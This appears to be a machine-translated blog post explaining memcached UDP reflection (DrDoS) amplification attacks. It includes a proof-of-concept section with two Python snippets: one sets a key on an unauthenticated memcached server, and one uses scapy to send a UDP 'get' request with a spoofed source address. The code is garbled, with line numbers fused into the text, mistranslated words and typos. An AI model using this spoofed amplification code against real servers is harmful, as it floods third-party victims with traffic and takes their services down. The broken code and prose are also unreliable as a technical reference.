Analysis on DrDoS Attack of memcached reflection type

First, memcached reflex attack principle

1. Reflection DrDoS Attack:

DrDoS attack, DOS is a type of attack, which means that the service is not available by sending or triggering a large amount of resource consumption, which is called a denial of service attack in Chinese. DrDoS is a reflective denial of service attack, the principle of which is through the use of your program vulnerability, sending malformed messages induce you to reply to large data volume of the message, thereby achieving consumption of resources, denial of service purposes.

2, why memcached can induce DrDoS:

Because memcached is a cache server, many Web sites are used to store cached data to prevent the Web server from assuming more performance losses. However, in such cases, if a request is sent, the response message of the large data volume can be evoked DrDoS, the attack means is to repeat the source of the transmission of the request message.

3, the above also has two prerequisites:

(1) memcached supports TCP and UDP, where UDP is not required for state connection, and handshake.

(2) memcached unauthorized access is present.

Second, the Memcached DrDoS POC

1, Attack method,

(1) Access to an unauthorized Memcached,set setting key value that can be controlled

1 0 0 Ten 2 ABC- Key name 30 , flag40 - exptime expiry time , 0 is the data that will never expire 5 , return 10Byte, of course, can return more

Python code is as follows

1 #-*-coding:utf-8-*-2 3 ImportSocket4 5Target_host ="192.168.1.1"6Target_port = 112117Client =Sokcet.socket (Socket.af_inet,socket. STREAM)8Client.settimeout (10)9 Client.connect ((target_host,target_port))Ten  OneClient.send ("set ABCD 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n") Adata = CLIENT.RECV (1024) - PrintData

(2) Then get this ABC can

1 #-*-coding:utf-8-*-2 3  fromScapy.allImport*4 5data ="\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"6PKT = Scapy.all.IP (dst="192.168.1.1", src="192.168.1.2")/Scapy.all.UDP (sport=80,dport=11211)/Data7Send (PKT, inter=1,count=1)

About memcached Reflection type DrDoS attack analysis